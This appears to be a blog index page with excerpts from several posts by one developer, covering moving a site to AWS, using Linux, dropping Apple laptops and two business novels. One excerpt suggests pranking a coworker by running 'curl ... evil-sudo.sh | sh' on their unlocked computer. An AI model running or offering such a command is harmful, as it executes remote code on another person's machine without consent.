I recently moved my website from Digital Ocean to AWS. Here’s the what and the why. Why Move? I had a perfectly good website set up on Digital Ocean. It was a single server running Linux, NGINX, MySQL and Laravel PHP. It was fast, and flexible. I never had downtime issues. So… why move? AWS knowledge is in demand, and I didn’t know AWS very well. There’s so much to AWS that you can’t learn without putting things into practice, and what better practice than hosting my own site?

This article assumes basic knowledge of the command-line. It also assumes you are on Linux or Mac. There is also a video to accompany this blog post if you prefer. youtube: RrgxRXZf0vI Want to infuriate a coworker? Wait until they leave their computer unlocked. Open a terminal and run this command: curl files.tomontheinternet.com/evil-sudo.sh | sh Close the terminal. Now, whenever they try to use sudo, they’ll see this:

I’m not sure why I use Linux. This blog post is me figuring out why. I want to be a better developer In MacOs, and to a lesser extent Windows, everything “just works” out of the box. This is not true in Linux, even with popular distros like Ubunutu or Fedora. In Linux, sometimes things just don’t work and I am becoming a better developer because of it. On a fresh install of Linux I often can’t connect to Wi-Fi.

In 2014 I bought the best computer I’d ever owned. Every interaction, every moment was a delight. Installation was smooth, the OS was clean and everything felt just right. I was glad to have left Windows behind. I was happy with my new MacBook Pro. I was an Apple fanboy now, and I wasn’t going back to Windows. But that was five years ago, and last month when I decided I needed a new laptop, a new MacBook Pro wasn’t the obvious choice for a replacement.

The Goal is a novel about a manufacturing plant on the verge of being shut down. Written in the 1980s by Eliyahu M. Goldratt, The Goal served as a guide on how to make American manufacturing plants able to compete with the Japanese. I didn’t read The Goal because I’m interested in 1980s manufacturing plants. I read it because it’s the book the The Phoenix Project is based on, and in a Reddit thread I was strongly encouraged to read The Goal.

The Phoenix Project is novel about IT at a large company going horribly wrong and then improving. If that sounds interesting to you, you’re probably a very particular kind of geek, like me, who is interested in how technology can be best integrated into an organization. If that sounds boring to you, please never read this book. There’s a meme going around that all companies are now technology companies, and those companies that realize it too late are doomed.